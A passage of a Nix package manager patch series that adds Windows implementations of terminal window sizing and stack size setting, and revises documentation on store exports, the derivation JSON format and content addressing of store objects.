@@ -97,17 +99,26 @@ std::string filterANSIEscapes(std::string_view s, bool filterAll, unsigned int w
 static Sync<std::pair<unsigned short, unsigned short>> windowSize{{0, 0}};
 
 
-#ifndef _WIN32
 void updateWindowSize()
 {
+    #ifndef _WIN32
     struct winsize ws;
     if (ioctl(2, TIOCGWINSZ, &ws) == 0) {
         auto windowSize_(windowSize.lock());
         windowSize_->first = ws.ws_row;
         windowSize_->second = ws.ws_col;
     }
+    #else
+    CONSOLE_SCREEN_BUFFER_INFO info;
+    // From https://stackoverflow.com/a/12642749
+    if (GetConsoleScreenBufferInfo(GetStdHandle(STD_OUTPUT_HANDLE), &info) != 0) {
+        auto windowSize_(windowSize.lock());
+        // From https://github.com/libuv/libuv/blob/v1.48.0/src/win/tty.c#L1130
+        windowSize_->first = info.srWindow.Bottom - info.srWindow.Top + 1;
+        windowSize_->second = info.dwSize.X;
+    }
+    #endif
 }
-#endif
 
 
 std::pair<unsigned short, unsigned short> getWindowSize()
diff --git a/src/libutil/terminal.hh b/src/libutil/terminal.hh
index 628833283d4..9d8d0c74328 100644
--- a/src/libutil/terminal.hh
+++ b/src/libutil/terminal.hh
@@ -21,16 +21,12 @@ std::string filterANSIEscapes(std::string_view s,
     bool filterAll = false,
     unsigned int width = std::numeric_limits<unsigned int>::max());
 
-#ifndef _WIN32
-
 /**
  * Recalculate the window size, updating a global variable. Used in the
  * `SIGWINCH` signal handler.
  */
 void updateWindowSize();
 
-#endif
-
 /**
  * @return the number of rows and columns of the terminal.
  *

From e42d00c961ad948c80c27f49d58316a7eae5e728 Mon Sep 17 00:00:00 2001
From: PoweredByPie <poweredbypie@users.noreply.github.com>
Date: Sat, 18 May 2024 04:09:56 -0700
Subject: [PATCH 153/528] Change `rlim_t` to `size_t` in `setStackSize` in
 preparation of Windows impl

---
 src/libutil/current-process.cc | 6 +++---
 src/libutil/current-process.hh | 2 +-
 2 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/src/libutil/current-process.cc b/src/libutil/current-process.cc
index c88013b3c42..b252bd4d035 100644
--- a/src/libutil/current-process.cc
+++ b/src/libutil/current-process.cc
@@ -60,14 +60,14 @@ unsigned int getMaxCPU()
 
 
 #ifndef _WIN32
-rlim_t savedStackSize = 0;
+size_t savedStackSize = 0;
 
-void setStackSize(rlim_t stackSize)
+void setStackSize(size_t stackSize)
 {
     struct rlimit limit;
     if (getrlimit(RLIMIT_STACK, &limit) == 0 && limit.rlim_cur < stackSize) {
         savedStackSize = limit.rlim_cur;
-        limit.rlim_cur = std::min(stackSize, limit.rlim_max);
+        limit.rlim_cur = std::min(static_cast<rlim_t>(stackSize), limit.rlim_max);
         if (setrlimit(RLIMIT_STACK, &limit) != 0) {
             logger->log(
                 lvlError,
diff --git a/src/libutil/current-process.hh b/src/libutil/current-process.hh
index a5adb70cfd5..8db4ada0d2e 100644
--- a/src/libutil/current-process.hh
+++ b/src/libutil/current-process.hh
@@ -21,7 +21,7 @@ unsigned int getMaxCPU();
 /**
  * Change the stack size.
  */
-void setStackSize(rlim_t stackSize);
+void setStackSize(size_t stackSize);
 #endif
 
 /**

From 6a3f906382342f05cfe9254f8e0d1c4b01ad9ad5 Mon Sep 17 00:00:00 2001
From: PoweredByPie <poweredbypie@users.noreply.github.com>
Date: Sat, 18 May 2024 04:27:09 -0700
Subject: [PATCH 154/528] Implement `setStackSize` for Windows

---
 src/libutil/current-process.cc | 23 +++++++++++++++++++++--
 src/libutil/current-process.hh |  2 --
 2 files changed, 21 insertions(+), 4 deletions(-)

diff --git a/src/libutil/current-process.cc b/src/libutil/current-process.cc
index b252bd4d035..db311156061 100644
--- a/src/libutil/current-process.cc
+++ b/src/libutil/current-process.cc
@@ -59,11 +59,11 @@ unsigned int getMaxCPU()
 //////////////////////////////////////////////////////////////////////
 
 
-#ifndef _WIN32
 size_t savedStackSize = 0;
 
 void setStackSize(size_t stackSize)
 {
+    #ifndef _WIN32
     struct rlimit limit;
     if (getrlimit(RLIMIT_STACK, &limit) == 0 && limit.rlim_cur < stackSize) {
         savedStackSize = limit.rlim_cur;
@@ -81,8 +81,27 @@ void setStackSize(size_t stackSize)
             );
         }
     }
+    #else
+    ULONG currStackSize = 0;
+    // This retrieves the current promised stack size
+    SetThreadStackGuarantee(&currStackSize);
+    if (currStackSize < stackSize) {
+        savedStackSize = currStackSize;
+        ULONG newStackSize = stackSize;
+        if (SetThreadStackGuarantee(&newStackSize) == 0) {
+            logger->log(
+                lvlError,
+                HintFmt(
+                    "Failed to increase stack size from %1% to %2%: %3%",
+                    savedStackSize,
+                    stackSize,
+                    std::to_string(GetLastError())
+                ).str()
+            );
+        }
+    }
+    #endif
 }
-#endif
 
 void restoreProcessContext(bool restoreMounts)
 {
diff --git a/src/libutil/current-process.hh b/src/libutil/current-process.hh
index 8db4ada0d2e..8286bf89d66 100644
--- a/src/libutil/current-process.hh
+++ b/src/libutil/current-process.hh
@@ -17,12 +17,10 @@ namespace nix {
  */
 unsigned int getMaxCPU();
 
-#ifndef _WIN32 // TODO implement on Windows, if needed.
 /**
  * Change the stack size.
  */
 void setStackSize(size_t stackSize);
-#endif
 
 /**
  * Restore the original inherited Unix process context (such as signal

From a41f4223de5123d90264f2eb9843f218153c59fb Mon Sep 17 00:00:00 2001
From: PoweredByPie <poweredbypie@users.noreply.github.com>
Date: Sat, 18 May 2024 06:44:52 -0700
Subject: [PATCH 155/528] Use setStackSize on Windows

---
 src/nix/main.cc | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/src/nix/main.cc b/src/nix/main.cc
index bc13a4df5a6..d3f3324ac04 100644
--- a/src/nix/main.cc
+++ b/src/nix/main.cc
@@ -522,10 +522,13 @@ void mainWrapped(int argc, char * * argv)
 
 int main(int argc, char * * argv)
 {
-#ifndef _WIN32 // TODO implement on Windows
+#ifndef _WIN32
     // Increase the default stack size for the evaluator and for
     // libstdc++'s std::regex.
     nix::setStackSize(64 * 1024 * 1024);
+#else
+    // Windows' default stack reservation is 1 MB, going over will fail
+    nix::setStackSize(1 * 1024 * 1024);
 #endif
 
     return nix::handleExceptions(argv[0], [&]() {

From e0bfa6c55fbf1e275419b0ca98902781ffa9fa0d Mon Sep 17 00:00:00 2001
From: Philipp <philipp.zander@tweag.io>
Date: Mon, 20 May 2024 08:27:33 +0200
Subject: [PATCH 156/528] small additions to the documentation of
 `nix_store_open` and `nix_state_create` (#10728)

---
 src/libexpr-c/nix_api_expr.h   | 2 +-
 src/libstore-c/nix_api_store.h | 8 +++++---
 2 files changed, 6 insertions(+), 4 deletions(-)

diff --git a/src/libexpr-c/nix_api_expr.h b/src/libexpr-c/nix_api_expr.h
index 04fc92f0f99..ab7f503848a 100644
--- a/src/libexpr-c/nix_api_expr.h
+++ b/src/libexpr-c/nix_api_expr.h
@@ -140,7 +140,7 @@ nix_err nix_value_force_deep(nix_c_context * context, EvalState * state, Value *
  * @brief Create a new Nix language evaluator state.
  *
  * @param[out] context Optional, stores error information
- * @param[in] lookupPath Array of strings corresponding to entries in NIX_PATH.
+ * @param[in] lookupPath Null-terminated array of strings corresponding to entries in NIX_PATH.
  * @param[in] store The Nix store to use.
  * @return A new Nix state or NULL on failure.
  */
diff --git a/src/libstore-c/nix_api_store.h b/src/libstore-c/nix_api_store.h
index baa53ef0913..e9441be1ae2 100644
--- a/src/libstore-c/nix_api_store.h
+++ b/src/libstore-c/nix_api_store.h
@@ -57,9 +57,11 @@ nix_err nix_init_plugins(nix_c_context * context);
  * @brief Open a nix store
  * Store instances may share state and resources behind the scenes.
  * @param[out] context Optional, stores error information
- * @param[in] uri URI of the nix store, copied
- * @param[in] params optional, array of key-value pairs, {{"endpoint",
- * "https://s3.local"}}
+ * @param[in] uri URI of the Nix store, copied. See [*Store URL format* in the Nix Reference
+ * Manual](https://nixos.org/manual/nix/stable/store/types/#store-url-format).
+ * @param[in] params optional, null-terminated array of key-value pairs, e.g. {{"endpoint",
+ * "https://s3.local"}}. See [*Store Types* in the Nix Reference
+ * Manual](https://nixos.org/manual/nix/stable/store/types).
  * @return a Store pointer, NULL in case of errors
  * @see nix_store_free
  */

From 209d75529caaaf82a760056fc60156b9153af5c8 Mon Sep 17 00:00:00 2001
From: Valentin Gagarin <valentin.gagarin@tweag.io>
Date: Mon, 20 May 2024 08:28:35 +0200
Subject: [PATCH 157/528] reword documentation on `nix-store --export` (#10713)

- add links to definitions of terms
- one sentence per line
- be more specific about which store is used for the import
- clearly distinguish store paths and store objects
- make a recommendation to use `nix-copy-closure` for efficient SSH transfers
---
 .../src/command-ref/nix-store/export.md       | 24 +++++++++++--------
 1 file changed, 14 insertions(+), 10 deletions(-)

diff --git a/doc/manual/src/command-ref/nix-store/export.md b/doc/manual/src/command-ref/nix-store/export.md
index ba51ff5f6ad..ba772eb43c2 100644
--- a/doc/manual/src/command-ref/nix-store/export.md
+++ b/doc/manual/src/command-ref/nix-store/export.md
@@ -8,16 +8,20 @@
 
 ## Description
 
-The operation `--export` writes a serialisation of the specified store
-paths to standard output in a format that can be imported into another
-Nix store with `nix-store --import`. This is like `nix-store
---dump`, except that the [Nix Archive (NAR)][Nix Archive] produced by that command doesn’t
-contain the necessary meta-information to allow it to be imported into
-another Nix store (namely, the set of references of the path).
-
-This command does not produce a *closure* of the specified paths, so if
-a store path references other store paths that are missing in the target
-Nix store, the import will fail.
+The operation `--export` writes a serialisation of the given [store objects](@docroot@/glossary.md#gloss-store-object) to standard output in a format that can be imported into another [Nix store](@docroot@/store/index.md) with [`nix-store --import`](./import.md).
+
+> **Warning**
+>
+> This command *does not* produce a [closure](@docroot@/glossary.md#gloss-closure) of the specified store paths.
+> Trying to import a store object that refers to store paths not available in the target Nix store will fail.
+>
+> Use [`nix-store --query`](@docroot@/command-ref/nix-store/query.md) to obtain the closure of a store path.
+
+This command is different from [`nix-store --dump`](./dump.md), which produces a [Nix archive](@docroot@/glossary.md#gloss-nar) that *does not* contain the set of [references](@docroot@/glossary.md#gloss-reference) of a given store path.
+
+> **Note**
+>
+> For efficient transfer of closures to remote machines over SSH, use [`nix-copy-closure`](@docroot@/command-ref/nix-copy-closure.md).
 
 [Nix Archive]: @docroot@/store/file-system-object/content-address.md#serial-nix-archive
 

From 927034e7acd3dd993c5cea189922f5d8050a65fe Mon Sep 17 00:00:00 2001
From: Eelco Dolstra <edolstra@gmail.com>
Date: Mon, 20 May 2024 10:25:04 +0200
Subject: [PATCH 158/528] value.hh: Shut up warning about useless const
 qualifier

---
 src/libexpr/value.hh | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/src/libexpr/value.hh b/src/libexpr/value.hh
index 61cf2d31064..208cab21d60 100644
--- a/src/libexpr/value.hh
+++ b/src/libexpr/value.hh
@@ -449,7 +449,7 @@ public:
         return std::string_view(payload.string.c_str);
     }
 
-    const char * const c_str() const
+    const char * c_str() const
     {
         assert(internalType == tString);
         return payload.string.c_str;

From d48bbda2e702879b2296b897ec805167af178ebc Mon Sep 17 00:00:00 2001
From: John Ericson <git@JohnEricson.me>
Date: Mon, 20 May 2024 08:34:49 -0400
Subject: [PATCH 159/528] Update the `updateWindowSize` documentation

---
 src/libutil/terminal.hh | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/src/libutil/terminal.hh b/src/libutil/terminal.hh
index 9d8d0c74328..902e759456d 100644
--- a/src/libutil/terminal.hh
+++ b/src/libutil/terminal.hh
@@ -22,8 +22,9 @@ std::string filterANSIEscapes(std::string_view s,
     unsigned int width = std::numeric_limits<unsigned int>::max());
 
 /**
- * Recalculate the window size, updating a global variable. Used in the
- * `SIGWINCH` signal handler.
+ * Recalculate the window size, updating a global variable.
+ *
+ * Used in the `SIGWINCH` signal handler on Unix, for example.
  */
 void updateWindowSize();
 

From 1c75af969a1ed0df63885c691863b8fee798cd4e Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Tue, 9 Apr 2024 17:07:39 -0400
Subject: [PATCH 160/528] Document store object content addressing & improve
 JSON format

The JSON format no longer uses the legacy ATerm `r:` prefixing nonsese,
but separate fields.

Progress on #9866

Co-authored-by: Robert Hensing <roberth@users.noreply.github.com>
---
 doc/manual/rl-next/derivation-json-change.md  |  12 ++
 doc/manual/src/SUMMARY.md.in                  |   1 +
 .../src/language/advanced-attributes.md       |  43 +++---
 doc/manual/src/protocols/json/derivation.md   |  27 +++-
 doc/manual/src/protocols/store-path.md        |  25 ++--
 .../file-system-object/content-address.md     |   9 +-
 .../src/store/store-object/content-address.md | 123 ++++++++++++++++++
 src/libcmd/misc-store-flags.cc                |  12 +-
 src/libstore/derivations.cc                   |  24 ++--
 src/nix/flake.md                              |  10 +-
 src/nix/nar-cat.md                            |   3 +-
 src/nix/nar-dump-path.md                      |   6 +-
 src/nix/nar-ls.md                             |   6 +-
 src/nix/nar.md                                |   9 +-
 src/nix/store-dump-path.md                    |   4 +-
 src/nix/verify.md                             |   2 +
 .../data/derivation/output-caFixedFlat.json   |   1 +
 .../data/derivation/output-caFixedNAR.json    |   3 +-
 .../data/derivation/output-caFixedText.json   |   3 +-
 .../data/derivation/output-caFloating.json    |   3 +-
 .../data/derivation/output-impure.json        |   5 +-
 21 files changed, 267 insertions(+), 64 deletions(-)
 create mode 100644 doc/manual/rl-next/derivation-json-change.md
 create mode 100644 doc/manual/src/store/store-object/content-address.md

diff --git a/doc/manual/rl-next/derivation-json-change.md b/doc/manual/rl-next/derivation-json-change.md
new file mode 100644
index 00000000000..2a1d40e836c
--- /dev/null
+++ b/doc/manual/rl-next/derivation-json-change.md
@@ -0,0 +1,12 @@
+---
+synopsis: Modify `nix derivation {add,show}` JSON format
+issues: 9866
+prs: 10722
+---
+
+The JSON format for derivations has been slightly revised to better conform to our [JSON guidelines](@docroot@contributing/cli-guideline#returning-future-proof-json).
+In particular, the hash algorithm and content addressing method of content-addresed derivation outputs is now separated into two fields `hashAlgo` and `method`,
+rather than one field with an arcane `:`-separated format.
+
+This JSON format is only used by the experimental `nix derivation` family of commands, at this time.
+Future revisions are expected as the JSON format is still not entirely in compliance even after these changes.
diff --git a/doc/manual/src/SUMMARY.md.in b/doc/manual/src/SUMMARY.md.in
index d1c0ad12abf..52e6354c6c8 100644
--- a/doc/manual/src/SUMMARY.md.in
+++ b/doc/manual/src/SUMMARY.md.in
@@ -20,6 +20,7 @@
   - [File System Object](store/file-system-object.md)
     - [Content-Addressing File System Objects](store/file-system-object/content-address.md)
   - [Store Object](store/store-object.md)
+    - [Content-Addressing Store Objects](store/store-object/content-address.md)
   - [Store Path](store/store-path.md)
   - [Store Types](store/types/index.md)
 {{#include ./store/types/SUMMARY.md}}
diff --git a/doc/manual/src/language/advanced-attributes.md b/doc/manual/src/language/advanced-attributes.md
index 3b8e485545b..113062db19a 100644
--- a/doc/manual/src/language/advanced-attributes.md
+++ b/doc/manual/src/language/advanced-attributes.md
@@ -197,37 +197,40 @@ Derivations can declare some infrequently used optional attributes.
     `outputHashAlgo` can only be `null` when `outputHash` follows the SRI format.
 
     The `outputHashMode` attribute determines how the hash is computed.
-    It must be one of the following two values:
+    It must be one of the following values:
 
-    <!-- FIXME link to store object content-addressing not file system object content addressing once we have the page for that. -->
+      - [`"flat"`](@docroot@/store/store-object/content-address.md#method-flat)
 
-      - `"flat"`
+        This is the default.
 
-        The output must be a non-executable regular file; if it isn’t, the build fails.
-        The hash is
-        [simply computed over the contents of that file](@docroot@/store/file-system-object/content-address.md#serial-flat)
-        (so it’s equal to what Unix commands like `sha256sum` or `sha1sum` produce).
+      - [`"recursive"` or `"nar"`](@docroot@/store/store-object/content-address.md#method-nix-archive)
 
-        This is the default.
+        > **Compatibility**
+        >
+        > `"recursive"` is the traditional way of indicating this,
+        > and is supported since 2005 (virtually the entire history of Nix).
+        > `"nar"` is more clear, and consistent with other parts of Nix (such as the CLI),
+        > however support for it is only added in Nix version 2.21.
+
+      - [`"text"`](@docroot@/store/store-object/content-address.md#method-text)
 
-      - `"recursive"` or `"nar"`
+        > **Warning**
+        >
+        > The use of this method for derivation outputs is part of the [`dynamic-derivations`][xp-feature-dynamic-derivations] experimental feature.
 
-        The hash is computed over the
-        [Nix Archive (NAR)](@docroot@/store/file-system-object/content-address.md#serial-nix-archive)
-        dump of the output (i.e., the result of [`nix-store --dump`](@docroot@/command-ref/nix-store/dump.md)).
-        In this case, the output is allowed to be any [file system object], including directories and more.
+      - [`"git"`](@docroot@/store/store-object/content-address.md#method-git)
 
-    `"recursive"` is the traditional way of indicating this,
-    and is supported since 2005 (virtually the entire history of Nix).
-    `"nar"` is more clear, and consistent with other parts of Nix (such as the CLI),
-    however support for it is only added in Nix version 2.21.
+        > **Warning**
+        >
+        > This method is part of the [`git-hashing`][xp-feature-git-hashing] experimental feature.
 
   - [`__contentAddressed`]{#adv-attr-__contentAddressed}
+
     > **Warning**
     > This attribute is part of an [experimental feature](@docroot@/contributing/experimental-features.md).
     >
     > To use this attribute, you must enable the
-    > [`ca-derivations`](@docroot@/contributing/experimental-features.md#xp-feature-ca-derivations) experimental feature.
+    > [`ca-derivations`][xp-feature-ca-derivations] experimental feature.
     > For example, in [nix.conf](../command-ref/conf-file.md) you could add:
     >
     > ```
@@ -359,3 +362,7 @@ Derivations can declare some infrequently used optional attributes.
   ```
 
   ensures that the derivation can only be built on a machine with the `kvm` feature.
+
+[xp-feature-ca-derivations]: @docroot@/contributing/experimental-features.md#xp-feature-ca-derivations
+[xp-feature-dynamic-derivations]: @docroot@/contributing/experimental-features.md#xp-feature-dynamic-derivations
+[xp-feature-git-hashing]: @docroot@/contributing/experimental-features.md#xp-feature-git-hashing
diff --git a/doc/manual/src/protocols/json/derivation.md b/doc/manual/src/protocols/json/derivation.md
index 649d543ccf3..f881dd70381 100644
--- a/doc/manual/src/protocols/json/derivation.md
+++ b/doc/manual/src/protocols/json/derivation.md
@@ -18,10 +18,30 @@ is a JSON object with the following fields:
   Information about the output paths of the derivation.
   This is a JSON object with one member per output, where the key is the output name and the value is a JSON object with these fields:
 
-  * `path`: The output path.
+  * `path`:
+    The output path, if it is known in advanced.
+    Otherwise, `null`.
+
+
+  * `method`:
+    For an output which will be [content addresed], a string representing the [method](@docroot@/store/store-object/content-address.md) of content addressing that is chosen.
+    Valid method strings are:
+
+    - [`flat`](@docroot@/store/store-object/content-address.md#method-flat)
+    - [`nar`](@docroot@/store/store-object/content-address.md#method-nix-archive)
+    - [`text`](@docroot@/store/store-object/content-address.md#method-text)
+    - [`git`](@docroot@/store/store-object/content-address.md#method-git)
+
+    Otherwise, `null`.
 
   * `hashAlgo`:
-    For fixed-output derivations, the hashing algorithm (e.g. `sha256`), optionally prefixed by `r:` if `hash` denotes a NAR hash rather than a flat file hash.
+    For an output which will be [content addresed], the name of the hash algorithm used.
+    Valid algorithm strings are:
+
+    - `md5`
+    - `sha1`
+    - `sha256`
+    - `sha512`
 
   * `hash`:
     For fixed-output derivations, the expected content hash in base-16.
@@ -32,7 +52,8 @@ is a JSON object with the following fields:
   > "outputs": {
   >   "out": {
   >     "path": "/nix/store/2543j7c6jn75blc3drf4g5vhb1rhdq29-source",
-  >     "hashAlgo": "r:sha256",
+  >     "method": "nar",
+  >     "hashAlgo": "sha256",
   >     "hash": "6fc80dcc62179dbc12fc0b5881275898f93444833d21b89dfe5f7fbcbb1d0d62"
   >   }
   > }
diff --git a/doc/manual/src/protocols/store-path.md b/doc/manual/src/protocols/store-path.md
index 65777423801..52352d358a1 100644
--- a/doc/manual/src/protocols/store-path.md
+++ b/doc/manual/src/protocols/store-path.md
@@ -36,18 +36,23 @@ where
 - `type` = one of:
 
   - ```ebnf
-    | "text" ( ":" store-path )*
+    | "text" { ":" store-path }
     ```
 
-    for encoded derivations written to the store.
+    This is for the
+    ["Text"](@docroot@/store/store-object/content-address.md#method-text)
+    method of content addressing store objects.
     The optional trailing store paths are the references of the store object.
 
   - ```ebnf
-    | "source" ( ":" store-path )*
+    | "source" { ":" store-path } [ ":self" ]
     ```
 
-    For paths copied to the store and hashed via a [Nix Archive (NAR)] and [SHA-256][sha-256].
-    Just like in the text case, we can have the store objects referenced by their paths.
+    This is for the
+    ["Nix Archive"](@docroot@/store/store-object/content-address.md#method-nix-archive)
+    method of content addressing store objects,
+    if the hash algorithm is [SHA-256].
+    Just like in the "Text" case, we can have the store objects referenced by their paths.
     Additionally, we can have an optional `:self` label to denote self reference.
 
   - ```ebnf
@@ -55,8 +60,12 @@ where
     ```
 
     For either the outputs built from derivations,
-    paths copied to the store hashed that area single file hashed directly, or the via a hash algorithm other than [SHA-256][sha-256].
-    (in that case "source" is used; this is only necessary for compatibility).
+    or content-addressed store objects that are not using one of the two above cases.
+    To be explicit about the latter, that is currently these methods:
+
+    - ["Flat"](@docroot@/store/store-object/content-address.md#method-flat)
+    - ["Git"](@docroot@/store/store-object/content-address.md#method-git)
+    - ["Nix Archive"](@docroot@/store/store-object/content-address.md#method-nix-archive) if the hash algorithm is not [SHA-256].
 
     `id` is the name of the output (usually, "out").
     For content-addressed store objects, `id`, is always "out".
@@ -116,7 +125,7 @@ where
       Also note that NAR + SHA-256 must not use this case, and instead must use the `type` = `"source:" ...` case.
 
 [Nix Archive (NAR)]: @docroot@/store/file-system-object/content-address.md#serial-nix-archive
-[sha-256]: https://en.m.wikipedia.org/wiki/SHA-256
+[SHA-256]: https://en.m.wikipedia.org/wiki/SHA-256
 
 ### Historical Note
 
diff --git a/doc/manual/src/store/file-system-object/content-address.md b/doc/manual/src/store/file-system-object/content-address.md
index fc5be8c673d..1c63c52ebda 100644
--- a/doc/manual/src/store/file-system-object/content-address.md
+++ b/doc/manual/src/store/file-system-object/content-address.md
@@ -1,7 +1,9 @@
 # Content-Addressing File System Objects
 
 For many operations, Nix needs to calculate [a content addresses](@docroot@/glossary.md#gloss-content-address) of [a file system object][file system object].
-Usually this is needed as part of content addressing [store objects], since store objects always have a root file system object.
+Usually this is needed as part of
+[content addressing store objects](../store-object/content-address.md),
+since store objects always have a root file system object.
 But some command-line utilities also just work on "raw" file system objects, not part of any store object.
 
 Every content addressing scheme Nix uses ultimately involves feeding data into a [hash function](https://en.wikipedia.org/wiki/Hash_function), and getting back an opaque fixed-size digest which is deemed a content address.
@@ -18,6 +20,9 @@ A single file object can just be hashed by its contents.
 This is not enough information to encode the fact that the file system object is a file,
 but if we *already* know that the FSO is a single non-executable file by other means, it is sufficient.
 
+Because the hashed data is just the raw file, as is, this choice is good for compatibility with other systems.
+For example, Unix commands like `sha256sum` or `sha1sum` will produce hashes for single files that match this.
+
 ### Nix Archive (NAR) { #serial-nix-archive }
 
 For the other cases of [file system objects][file system object], especially directories with arbitrary descendents, we need a more complex serialisation format.
@@ -69,7 +74,7 @@ every non-directory object is owned by a parent directory, and the entry that re
 However, if the root object is not a directory, then we have no way of knowing which one of an executable file, non-executable file, or symlink it is supposed to be.
 
 In response to this, we have decided to treat a bare file as non-executable file.
-This is similar to do what we do with [flat serialisation](#flat), which also lacks this information.
+This is similar to do what we do with [flat serialisation](#serial-flat), which also lacks this information.
 To avoid an address collision, attempts to hash a bare executable file or symlink will result in an error (just as would happen for flat serialisation also).
 Thus, Git can encode some, but not all of Nix's "File System Objects", and this sort of content-addressing is likewise partial.
 
diff --git a/doc/manual/src/store/store-object/content-address.md b/doc/manual/src/store/store-object/content-address.md
new file mode 100644
index 00000000000..e9f085ad590
--- /dev/null
+++ b/doc/manual/src/store/store-object/content-address.md
@@ -0,0 +1,123 @@
+# Content-Addressing Store Objects
+
+Just [like][fso-ca] [File System Objects][File System Object],
+[Store Objects][Store Object] can also be [content-addressed](@docroot@/glossary.md#gloss-content-addressed),
+unless they are [input-addressed](@docroot@/glossary.md#gloss-input-addressed-store-object).
+
+For store objects, the content address we produce will take the form of a [Store Path] rather than regular hash.
+In particular, the content-addressing scheme will ensure that the digest of the store path is solely computed from the
+
+- file system object graph (the root one and its children, if it has any)
+- references
+- [store directory](../store-path.md#store-directory)
+- name
+
+of the store object, and not any other information, which would not be an intrinsic property of that store object.
+
+For the full specification of the algorithms involved, see the [specification of store path digests][sp-spec].
+
+[File System Object]: ../file-system-object.md
+[Store Object]: ../store-object.md
+[Store Path]: ../store-path.md
+
+## Content addressing each part of a store object
+
+### File System Objects
+
+With all currently supported store object content addressing methods, the file system object is always [content-addressed][fso-ca] first, and then that hash is incorporated into content address computation for the store object.
+
+### References
+
+With all currently supported store object content addressing methods,
+other objects are referred to by their regular (string-encoded-) [store paths][Store Path].
+
+Self-references however cannot be referred to by their path, because we are in the midst of describing how to compute that path!
+
+> The alternative would require finding as hash function fixed point, i.e. the solution to an equation in the form
+> ```
+> digest = hash(..... || digest || ....)
+> ```
+> which is computationally infeasible.
+> As far as we know, this is equivalent to finding a hash collision.
+
+Instead we just have a "has self reference" boolean, which will end up affecting the digest.
+
+### Name and Store Directory
+
+These two items affect the digest in a way that is standard for store path digest computations and not specific to content-addressing.
+Consult the [specification of store path digests][sp-spec] for further details.
+
+## Content addressing Methods
+
+For historical reasons, we don't support all features in all combinations.
+Each currently supported method of content addressing chooses a single method of file system object hashing, and may offer some restrictions on references.
+The names and store directories are unrestricted however.
+
+### Flat { #method-flat }
+
+This uses the corresponding [Flat](../file-system-object/content-address.md#serial-flat) method of file system object content addressing.
+
+References are not supported: store objects with flat hashing *and* references can not be created.
+
+### Text { #method-text }
+
+This also uses the corresponding [Flat](../file-system-object/content-address.md#serial-flat) method of file system object content addressing.
+
+References to other store objects are supported, but self references are not.
+
+This is the only store-object content-addressing method that is not named identically with a corresponding file system object method.
+It is somewhat obscure, mainly used for "drv files"
+(derivations serialized as store objects in their ["ATerm" file format](@docroot@/protocols/derivation-aterm.md)).
+Prefer another method if possible.
+
+### Nix Archive { #method-nix-archive }
+
+This uses the corresponding [Nix Archive](../file-system-object/content-address.md#serial-nix-archive) method of file system object content addressing.
+
+References (to other store objects and self references alike) are supported so long as the hash algorithm is SHA-256, but not (neither kind) otherwise.
+
+### Git { #method-git }
+
+> **Warning**
+>
+> This method is part of the [`git-hashing`][xp-feature-git-hashing] experimental feature.
+
+This uses the corresponding [Git](../file-system-object/content-address.md#serial-git) method of file system object content addressing.
+
+References are not supported.
+
+Only SHA-1 is supported at this time.
+If [SHA-256-based Git](https://git-scm.com/docs/hash-function-transition)
+becomes more widespread, this restriction will be revisited.
+
+### Reproducibility
+
+The above system is more complex than it needs to be to support all types of file system objects and references, owing to accretion of features over time.
+However, there's a lot of value in supporting old expressions and reproducing the same hashes with any version of Nix.
+Still, the fundamental property remains that if one knows how a store object is supposed to be hashed
+--- all the non-Hash, non-references information above
+--- one can recompute a store object's store path just from that metadata and its content proper (its references and file system objects).
+Collectively, we can call this information the "content address method".
+
+By storing the "Content address method" extra information as part of store object
+--- making it data not metadata
+--- we achieve the key property of making content-addressed store objects *trustless*.
+
+What this is means is that they are just plain old data, not containing any "claim" that could be false.
+All this information is free to vary, and if any of it varies one gets (ignoring the possibility of hash collisions, as usual) a different store path.
+Store paths referring to content-addressed store objects uniquely identify a store object, and given that object, one can recompute the store path.
+Any content-addressed store object purporting to be the referee of a store object can be readily verified to see whether it in fact does without any extra information.
+No other party claiming a store object corresponds to a store path need be trusted because this verification can be done instead.
+
+Content addressing currently is used when adding data like source code to the store.
+Such data are "basal inputs", not produced from any other derivation (to our knowledge).
+Content addressing is thus the only way to address them of our two options.
+([Input addressing](@docroot@/glossary.md#gloss-input-addressed-store-object), is only valid for store paths produced from derivations.)
+
+Additionally, content addressing is also used for the outputs of certain sorts of derivations.
+It is very nice to be able to uniformly content-address all data rather than rely on a mix of content addressing and input addressing.
+This however, is in some cases still experimental, so in practice input addressing is still (as of 2022) widely used.
+
+[fso-ca]: ../file-system-object/content-address.md
+[sp-spec]: @docroot@/protocols/store-path.md
+[xp-feature-git-hashing]: @docroot@/contributing/experimental-features.md#xp-feature-git-hashing
diff --git a/src/libcmd/misc-store-flags.cc b/src/libcmd/misc-store-flags.cc
index 063a9dd9ec2..06552c03223 100644
--- a/src/libcmd/misc-store-flags.cc
+++ b/src/libcmd/misc-store-flags.cc
@@ -103,27 +103,27 @@ Args::Flag contentAddressMethod(ContentAddressMethod * method)
     return Args::Flag {
         .longName  = "mode",
         // FIXME indentation carefully made for context, this is messed up.
-        /* FIXME link to store object content-addressing not file system
-           object content addressing once we have that page. */
         .description = R"(
     How to compute the content-address of the store object.
     One of:
 
-    - `nar` (the default):
+    - [`nar`](@docroot@/store/store-object/content-address.md#method-nix-archive)
+      (the default):
       Serialises the input as a
       [Nix Archive](@docroot@/store/file-system-object/content-address.md#serial-nix-archive)
       and passes that to the hash function.
 
-    - `flat`:
+    - [`flat`](@docroot@/store/store-object/content-address.md#method-flat):
       Assumes that the input is a single file and
       [directly passes](@docroot@/store/file-system-object/content-address.md#serial-flat)
       it to the hash function.
 
-    - `text`: Like `flat`, but used for
+    - [`text`](@docroot@/store/store-object/content-address.md#method-text):
+      Like `flat`, but used for
       [derivations](@docroot@/glossary.md#store-derivation) serialized in store object and
       [`builtins.toFile`](@docroot@/language/builtins.html#builtins-toFile).
       For advanced use-cases only;
-      for regular usage prefer `nar` and `flat.
+      for regular usage prefer `nar` and `flat`.
         )",
         .labels = {"content-address-method"},
         .handler = {[method](std::string s) {
diff --git a/src/libstore/derivations.cc b/src/libstore/derivations.cc
index fcf813a37d4..e1370591175 100644
--- a/src/libstore/derivations.cc
+++ b/src/libstore/derivations.cc
@@ -1216,16 +1216,19 @@ nlohmann::json DerivationOutput::toJSON(
         },
         [&](const DerivationOutput::CAFixed & dof) {
             res["path"] = store.printStorePath(dof.path(store, drvName, outputName));
-            res["hashAlgo"] = dof.ca.printMethodAlgo();
+            res["method"] = std::string { dof.ca.method.render() };
